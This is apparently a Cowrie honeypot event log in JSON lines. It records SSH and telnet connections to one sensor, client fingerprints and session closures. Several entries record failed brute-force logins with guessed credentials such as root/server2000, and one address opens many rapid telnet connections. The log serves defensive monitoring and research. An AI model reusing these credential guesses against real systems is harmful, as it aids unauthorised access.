{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":38318,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cf4c63df4c6","protocol":"ssh","message":"New connection: 102.211.152.138:38318 (159.203.135.109:22) [session: 7cf4c63df4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:21.231814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:21.237081Z","src_ip":"102.211.152.138","session":"7cf4c63df4c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.543479919433594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:21.594640Z","src_ip":"147.124.211.111","session":"c13d7560c1af","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:21.858735Z","src_ip":"102.211.152.138","session":"7cf4c63df4c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.187117338180542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:21.915200Z","src_ip":"147.124.211.111","session":"eb77855d9781","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"louis","password":"test","message":"login attempt [louis/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:22.304209Z","src_ip":"102.211.152.138","session":"7cf4c63df4c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:23.410383Z","src_ip":"102.211.152.138","session":"7cf4c63df4c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39772,"dst_ip":"159.203.135.109","dst_port":23,"session":"1023e3d688c8","protocol":"telnet","message":"New connection: 147.124.211.111:39772 (159.203.135.109:23) [session: 1023e3d688c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:24.271227Z"}
{"eventid":"cowrie.session.closed","duration":45.01936912536621,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:24.364470Z","src_ip":"137.184.155.248","session":"06ec93df77d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31155776977539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:24.819149Z","src_ip":"147.124.211.111","session":"dd77f1681ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.423765182495117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:25.389880Z","src_ip":"147.124.211.111","session":"fcf2ed6e93a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39792,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e7e927cb33","protocol":"telnet","message":"New connection: 147.124.211.111:39792 (159.203.135.109:23) [session: a4e7e927cb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:26.726988Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39778,"dst_ip":"159.203.135.109","dst_port":23,"session":"c975dd1b5d98","protocol":"telnet","message":"New connection: 147.124.211.111:39778 (159.203.135.109:23) [session: c975dd1b5d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:26.732116Z"}
{"eventid":"cowrie.session.closed","duration":31.193320274353027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:26.973047Z","src_ip":"147.124.211.111","session":"d00ffbf8f044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079952239990234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:27.108689Z","src_ip":"147.124.211.111","session":"c24f236fd92c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39796,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb81a7bad043","protocol":"telnet","message":"New connection: 147.124.211.111:39796 (159.203.135.109:23) [session: eb81a7bad043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:27.321384Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39802,"dst_ip":"159.203.135.109","dst_port":23,"session":"760d69390942","protocol":"telnet","message":"New connection: 147.124.211.111:39802 (159.203.135.109:23) [session: 760d69390942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:28.240843Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39814,"dst_ip":"159.203.135.109","dst_port":23,"session":"a52ed467c55e","protocol":"telnet","message":"New connection: 147.124.211.111:39814 (159.203.135.109:23) [session: a52ed467c55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:28.508752Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"b89117fd2f17","protocol":"telnet","message":"New connection: 147.124.211.111:39824 (159.203.135.109:23) [session: b89117fd2f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:28.730251Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39838,"dst_ip":"159.203.135.109","dst_port":23,"session":"b40d7790e4e1","protocol":"telnet","message":"New connection: 147.124.211.111:39838 (159.203.135.109:23) [session: b40d7790e4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:28.869898Z"}
{"eventid":"cowrie.session.closed","duration":31.142762660980225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:30.154873Z","src_ip":"147.124.211.111","session":"ba3340213593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33334,"dst_ip":"159.203.135.109","dst_port":23,"session":"816d25419afd","protocol":"telnet","message":"New connection: 147.124.211.111:33334 (159.203.135.109:23) [session: 816d25419afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:31.012568Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33336,"dst_ip":"159.203.135.109","dst_port":23,"session":"d58afd8433fa","protocol":"telnet","message":"New connection: 147.124.211.111:33336 (159.203.135.109:23) [session: d58afd8433fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:31.124182Z"}
{"eventid":"cowrie.session.closed","duration":30.733791828155518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:32.149239Z","src_ip":"147.124.211.111","session":"0cc8faa8613a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33352,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cd1edcb299f","protocol":"telnet","message":"New connection: 147.124.211.111:33352 (159.203.135.109:23) [session: 9cd1edcb299f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:32.154900Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33344,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d78e667609","protocol":"telnet","message":"New connection: 147.124.211.111:33344 (159.203.135.109:23) [session: a4d78e667609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:32.164109Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":36176,"dst_ip":"159.203.135.109","dst_port":22,"session":"b57debb3cb23","protocol":"ssh","message":"New connection: 103.86.180.10:36176 (159.203.135.109:22) [session: b57debb3cb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:32.295029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:32.299544Z","src_ip":"103.86.180.10","session":"b57debb3cb23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:32.496586Z","src_ip":"103.86.180.10","session":"b57debb3cb23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.525033473968506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:32.715452Z","src_ip":"147.124.211.111","session":"b05702189768","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2000","message":"login attempt [root/server2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:33.321082Z","src_ip":"103.86.180.10","session":"b57debb3cb23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.663817644119263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:34.052032Z","src_ip":"147.124.211.111","session":"e75cb06b48d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:34.520271Z","src_ip":"103.86.180.10","session":"b57debb3cb23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.933233737945557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:34.704920Z","src_ip":"147.124.211.111","session":"151b5e1ed04d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.861260890960693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:34.840738Z","src_ip":"147.124.211.111","session":"20f608183b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33354,"dst_ip":"159.203.135.109","dst_port":23,"session":"444fb7f703ce","protocol":"telnet","message":"New connection: 147.124.211.111:33354 (159.203.135.109:23) [session: 444fb7f703ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:35.556647Z"}
{"eventid":"cowrie.session.closed","duration":30.942944765090942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:35.874412Z","src_ip":"147.124.211.111","session":"29fa2ba3d82b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33364,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ef414d195e8","protocol":"telnet","message":"New connection: 147.124.211.111:33364 (159.203.135.109:23) [session: 0ef414d195e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:36.648285Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33372,"dst_ip":"159.203.135.109","dst_port":23,"session":"82411ac10b2b","protocol":"telnet","message":"New connection: 147.124.211.111:33372 (159.203.135.109:23) [session: 82411ac10b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:36.653995Z"}
{"eventid":"cowrie.session.closed","duration":30.787755489349365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:37.736597Z","src_ip":"147.124.211.111","session":"3f015e372b09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.707538604736328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:38.805779Z","src_ip":"147.124.211.111","session":"f39721ca3278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33388,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a315fbaf61d","protocol":"telnet","message":"New connection: 147.124.211.111:33388 (159.203.135.109:23) [session: 9a315fbaf61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:39.823560Z"}
{"eventid":"cowrie.session.closed","duration":31.020824909210205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:40.168534Z","src_ip":"147.124.211.111","session":"dcba7530533f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39582,"dst_ip":"159.203.135.109","dst_port":23,"session":"f30037bfb9f1","protocol":"telnet","message":"New connection: 147.124.211.111:39582 (159.203.135.109:23) [session: f30037bfb9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:40.408734Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39594,"dst_ip":"159.203.135.109","dst_port":23,"session":"981e6567b72c","protocol":"telnet","message":"New connection: 147.124.211.111:39594 (159.203.135.109:23) [session: 981e6567b72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:40.919056Z"}
{"eventid":"cowrie.session.closed","duration":30.5825252532959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:41.084985Z","src_ip":"147.124.211.111","session":"648112a357e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":42822,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4e6c438a947","protocol":"ssh","message":"New connection: 72.253.251.7:42822 (159.203.135.109:22) [session: a4e6c438a947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:41.115636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:41.120576Z","src_ip":"72.253.251.7","session":"a4e6c438a947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.884835243225098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:41.175197Z","src_ip":"147.124.211.111","session":"f85619afabc9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:41.237952Z","src_ip":"72.253.251.7","session":"a4e6c438a947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39602,"dst_ip":"159.203.135.109","dst_port":23,"session":"954050e38a3a","protocol":"telnet","message":"New connection: 147.124.211.111:39602 (159.203.135.109:23) [session: 954050e38a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:41.249425Z"}
{"eventid":"cowrie.session.closed","duration":30.58016061782837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:41.546652Z","src_ip":"147.124.211.111","session":"e32fce66f3e7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testadmin","password":"testadmin@123","message":"login attempt [testadmin/testadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:41.740798Z","src_ip":"72.253.251.7","session":"a4e6c438a947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33380,"dst_ip":"159.203.135.109","dst_port":23,"session":"112ab09a10fa","protocol":"telnet","message":"New connection: 147.124.211.111:33380 (159.203.135.109:23) [session: 112ab09a10fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:42.225236Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:42.861122Z","src_ip":"72.253.251.7","session":"a4e6c438a947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39614,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a35a0d8b423","protocol":"telnet","message":"New connection: 147.124.211.111:39614 (159.203.135.109:23) [session: 9a35a0d8b423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:42.866298Z"}
{"eventid":"cowrie.session.closed","duration":30.993340730667114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:44.066470Z","src_ip":"147.124.211.111","session":"ab7cf470bce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39630,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ee0eaf3f99b","protocol":"telnet","message":"New connection: 147.124.211.111:39630 (159.203.135.109:23) [session: 8ee0eaf3f99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:44.663538Z"}
{"eventid":"cowrie.session.closed","duration":30.2370502948761,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:45.056483Z","src_ip":"147.124.211.111","session":"f92aef09cb15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.02085852622986,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:45.504330Z","src_ip":"137.184.155.248","session":"4873ec39627d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39654,"dst_ip":"159.203.135.109","dst_port":23,"session":"14e7f78854d0","protocol":"telnet","message":"New connection: 147.124.211.111:39654 (159.203.135.109:23) [session: 14e7f78854d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:46.887776Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39662,"dst_ip":"159.203.135.109","dst_port":23,"session":"1757dcd8d534","protocol":"telnet","message":"New connection: 147.124.211.111:39662 (159.203.135.109:23) [session: 1757dcd8d534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:46.987369Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39636,"dst_ip":"159.203.135.109","dst_port":23,"session":"a317942ed8ab","protocol":"telnet","message":"New connection: 147.124.211.111:39636 (159.203.135.109:23) [session: a317942ed8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:47.011127Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39678,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5fe1d77a421","protocol":"telnet","message":"New connection: 147.124.211.111:39678 (159.203.135.109:23) [session: a5fe1d77a421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:47.071679Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39646,"dst_ip":"159.203.135.109","dst_port":23,"session":"754e2bfcfea5","protocol":"telnet","message":"New connection: 147.124.211.111:39646 (159.203.135.109:23) [session: 754e2bfcfea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:47.268066Z"}
{"eventid":"cowrie.session.closed","duration":31.439764261245728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:47.610133Z","src_ip":"147.124.211.111","session":"49b1c480cc4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39684,"dst_ip":"159.203.135.109","dst_port":23,"session":"11f251de55ba","protocol":"telnet","message":"New connection: 147.124.211.111:39684 (159.203.135.109:23) [session: 11f251de55ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:48.360947Z"}
